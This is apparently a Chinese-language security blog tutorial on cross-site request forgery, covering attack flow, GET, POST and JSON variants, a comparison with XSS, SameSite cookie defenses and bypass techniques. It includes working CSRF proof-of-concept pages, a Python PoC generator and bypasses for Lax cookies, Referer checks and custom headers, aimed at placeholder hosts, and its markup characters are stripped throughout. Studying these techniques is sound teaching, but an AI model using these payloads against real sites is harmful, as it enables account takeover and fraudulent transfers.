CSRF详解

📅 2026/7/6 1:03:14
CSRF详解
每天一篇博客之CSRFday:8第1章 什么是 CSRF1.1 一句话理解CSRFCross-Site Request Forgery跨站请求伪造就是攻击者让受害者在不知情的情况下以受害者的身份向某个网站发送请求。类比有人趁你登录了银行没退出拿你的电脑转了钱——只不过 CSRF 是在网上做的。1.2 生活中的类比你登录了淘宝 → 浏览器有了淘宝的 Cookie证明你是谁 ↓ 你打开了攻击者的网页比如一个广告页面 ↓ 这个页面偷偷向淘宝发了一个请求「删除我的账号」 ↓ 淘宝收到请求 → 检查 Cookie → 确实是你的 → 执行删除 ↓ 你的账号被删了但你完全不知道是谁干的1.3 三个关键条件CSRF 能成功需要同时满足三个条件条件说明① 受害者已登录目标网站浏览器持有有效的 Cookie/Session② 目标网站没有 CSRF 防护没有 Token 校验或 Origin 检查③ 攻击者能构造合法的请求POST/GET 参数可以被预测第2章 CSRF 攻击全过程2.1 正常流程 vs CSRF 流程正常流程用户 → 登录银行 → 获得 Cookie → 点击转账 → 银行验证 Cookie → 转账成功CSRF 流程用户 → 登录银行 → 获得 Cookie → 打开恶意页面 → 恶意页面提交转账请求 ↓ 银行收到 Cookie → 以为是用户操作 → 转账成功2.2 攻击步骤拆解Step 1受害者登录目标网站POST /login HTTP/1.1 Host: victim-bank.com usernamealicepassword123456银行返回 Set-Cookie浏览器保存了 session。Step 2受害者访问攻击者页面攻击者制作了一个恶意 HTML 页面通过广告、邮件、论坛帖子等方式诱导受害者点击。Step 3恶意页面自动发送请求!-- 攻击者页面中的隐藏表单 --formactionhttps://victim-bank.com/transfermethodPOSTidstealinputtypehiddennametovalueattackerinputtypehiddennameamountvalue10000/formscriptdocument.getElementById(steal).submit();/scriptStep 4银行收到请求并执行银行收到 POST 请求时浏览器自动附带了受害者的 Cookie因为 Cookie 是发给victim-bank.com的。银行验证 Session 通过执行转账。第3章 CSRF 的攻击场景3.1 GET 型 CSRF最常见最容易目标站点用 GET 参数执行操作!-- 攻击者页面中的图片标签 --imgsrchttps://victim-bank.com/transfer?toattackeramount10000styledisplay:none浏览器加载图片时自动发送 GET 请求Cookie 自动附带。很多早期应用用 GET 做操作比如admin.php?actiondeleteid1这种场景最脆弱。3.2 POST 型 CSRF用表单提交 POST 请求!DOCTYPEhtmlhtmlbody!-- 隐藏表单用户不可见 --formactionhttps://victim-bank.com/transfermethodPOSTinputtypehiddennameto_accountvalueattackerinputtypehiddennameamountvalue5000/formscript// 页面加载后自动提交document.forms[0].submit();/script/body/html3.3 JSON 型 CSRF现代 API 常用 JSON 格式但如果没有正确校验同样可以 CSRF!-- 用 form 的 enctype 提交 JSON --formactionhttps://api.example.com/change_emailmethodPOSTenctypetext/plaininputname{email:attackerevil.com, _csrf:value}!-- 闭合 --/formscriptdocument.forms[0].submit();/script更常用的是通过 XMLHttpRequest / fetch取决于 CORS 配置scriptfetch(https://api.example.com/transfer,{method:POST,credentials:include,// 包含 Cookiebody:JSON.stringify({to:attacker,amount:10000})});/script但注意跨域 fetch 请求会受到同源策略限制不能读取响应。但请求仍然会发送到服务器并执行。3.4 真实场景举例场景操作CSRF 后果修改密码POST /change_pass攻击者改掉用户密码转出资金POST /transfer资金被盗发表文章POST /post_article用受害者账号发垃圾内容删除资源GET /delete?id1数据丢失修改邮箱POST /change_email绑定攻击者邮箱→重置密码添加管理员POST /add_admin?uid2权限提升第4章 CSRF 与 XSS 的区别很多人搞混 CSRF 和 XSS两者完全不同对比维度CSRFXSS本质伪造请求注入代码攻击者需要什么让受害者触发请求在页面中执行 JS是否需要目标站漏洞不需要只要没防护需要输入输出过滤不严是否需要交互受害者点击链接/页面受害者访问被注入的页面能不能读数据❌ 不能只发送不读取✅ 可以读取 Cookie/页面内容利用 Cookie利用浏览器自动带 Cookie 的机制读取 Cookie 或冒充身份能不能绕过 Token❌ 不能有 Token 就失效✅ 可以读取页面中的 Token 再发请求危害范围单一操作任意操作可发任意请求一句话区分CSRF 借你的手替你做操作 XSS 借你的眼替你看数据第5章 实战构造 CSRF PoC5.1 GET CSRF PoC最简形式 —— 一个 img 标签就够了htmlbodyh1恭喜你中奖了/h1imgsrchttp://target.com/user/del?id1styledisplay:none/imgsrchttp://target.com/transfer?toattackeramount10000styledisplay:none//body/html把这段代码保存为csrf.html当登录 target.com 的用户访问这个页面时操作会静默执行。5.2 POST CSRF PoChtmlbodyh1免费领取皮肤/h1formidcsrfactionhttp://target.com/change_emailmethodPOSTinputtypehiddennameemailvalueattackerevil.com/formscriptdocument.getElementById(csrf).submit();/script/body/html5.3 自动提交表单 跳转更隐蔽的方式——提交表单后跳转到正常页面受害者完全无感htmlbodyscript// 创建一个不可见的 iframe在里面提交表单varformdocument.createElement(form);form.actionhttp://target.com/transfer;form.methodPOST;form.targethidden_iframe;// 提交到隐藏 iframevarinputdocument.createElement(input);input.typehidden;input.nameto;input.valueattacker;form.appendChild(input);document.body.appendChild(form);// 创建隐藏 iframevariframedocument.createElement(iframe);iframe.namehidden_iframe;iframe.style.displaynone;document.body.appendChild(iframe);form.submit();// 跳转到正常页面window.location.hrefhttps://baidu.com;/script/body/html5.4 自动化 CSRF PoC 生成脚本#!/usr/bin/env python3自动生成 CSRF PoC HTML 页面defgen_csrf_poc(url,methodGET,paramsNone):ifparamsisNone:params{}htmlhtml\nbody\nhtmlh1Loading.../h1\nifmethod.upper()GET:# GET: 拼接参数到 URL用 img 触发query.join([f{k}{v}fork,vinparams.items()])full_urlf{url}?{query}ifparamselseurl htmlfimg src{full_url} styledisplay:none /\nelse:# POST: 隐藏表单自动提交htmlfform idf action{url} methodPOST\nfork,vinparams.items():htmlf input typehidden name{k} value{v}\nhtml/form\nhtmlscriptdocument.getElementById(f).submit();/script\nhtml/body\n/htmlreturnhtml# 生成 GET CSRF PoCpoc1gen_csrf_poc(http://target.com/transfer,GET,{to:attacker,amount:9999})print(poc1)print(\n*50\n)# 生成 POST CSRF PoCpoc2gen_csrf_poc(http://target.com/change_pwd,POST,{new_pwd:hacked123,confirm:hacked123})print(poc2)第6章 SameSite Cookie 机制6.1 什么是 SameSiteSameSite 是 Cookie 的一个属性告诉浏览器什么情况下才发送这个 Cookie。它是现代浏览器对 CSRF 最核心的防御机制。SameSite 值同站请求跨站请求点击链接跨站请求表单/img/fetchNone✅ 发送✅ 发送✅ 发送Lax默认值✅ 发送✅ 发送❌ 不发送Strict✅ 发送❌ 不发送❌ 不发送注意从 Chrome 802020年开始未设置 SameSite 的 Cookie 默认被视为Lax。6.2 SameSite 不同值的效果假设用户登录了 victim.com 用户访问 attacker.com 的页面 │ ┌──────────────┼──────────────┐ ▼ ▼ ▼ SameSiteNone SameSiteLax SameSiteStrict │ │ │ ▼ ▼ ▼ img/victim.com img/victim.com img/victim.com ✅ 带 Cookie ❌ 不带 Cookie ❌ 不带 Cookie form/victim.com form/victim.com form/victim.com ✅ 带 Cookie ❌ 不带 Cookie ❌ 不带 Cookie a hrefvictim a hrefvictim a hrefvictim ✅ 带 Cookie ✅ 带 Cookie ❌ 不带 Cookie6.3 设置方式Set-Cookie: sessionabc123; SameSiteNone; Secure Set-Cookie: sessionabc123; SameSiteLax Set-Cookie: sessionabc123; SameSiteStrictSameSiteNone必须配合Secure仅 HTTPS 发送否则浏览器会拒绝该 Cookie。6.4 SameSiteLax 的后门Lax模式下以下跨站请求仍然携带 Cookie方式是否带 Cookie说明a href...✅点击链接顶级导航window.location.href...✅JS 跳转顶级导航form methodGET✅GET 表单提交顶级导航form methodPOST❌POST 表单提交img src...❌图片加载script src...❌脚本加载fetch()/XMLHttpRequest❌AJAX 请求如果目标站点用 GET 参数执行操作如?actiondeleteid1SameSiteLax 并不能防御 CSRF因为 GET 表单和链接跳转都会带 Cookie。第7章 CSRF 绕过技术7.1 绕过 SameSiteLax当目标站点使用SameSiteLax但操作是 GET 方式时CSRF 仍然有效!-- 利用顶级导航 GET 请求 --ahrefhttps://victim.com/delete?accountall点我查看惊喜/ascript// 或通过 JS 跳转window.locationhttps://victim.com/transfer?toattackeramount10000;/script即使SameSiteLax顶级导航的 GET 请求仍然带 Cookie。7.2 绕过 Token 校验如果 Token 在 GET 参数中!-- 如果 CSRF Token 在 URL 参数中直接提交即可 --imgsrchttps://target.com/change_email?emailhackere.comtokenabc123但 Token 通常不可预测。要绕过 Token一般需要配合 XSS 或信息泄露漏洞。7.3 绕过 Referer 检查有些站点检查 Referer 头如果不在白名单中则拒绝!-- 利用 meta 标签不发送 Referer --metanamereferrercontentno-referrer!-- 利用 HTTPS→HTTP 降级不发送 Referer --!-- 攻击者页面用 HTTP非 HTTPS浏览器不会发送 Referer --htmlheadmetanamereferrercontentno-referrer/headbodyformactionhttps://target.com/transfermethodPOSTinputtypehiddennametovalueattacker/formscriptdocument.forms[0].submit();/script/body/html7.4 绕过自定义 Header 检查如果 API 要求X-Requested-With: XMLHttpRequest某些跨域请求可能不会携带但可以用 fetchscript// fetch 可以自定义 Headerfetch(https://target.com/api/transfer,{method:POST,credentials:include,headers:{X-Requested-With:XMLHttpRequest,Content-Type:application/json},body:JSON.stringify({to:attacker,amount:10000})});/script注意跨域 fetch 受 CORS 限制不能读取响应但请求本身会被服务器处理。如果服务器不检查 CORS Origin或者返回Access-Control-Allow-Origin: *请求就能成功。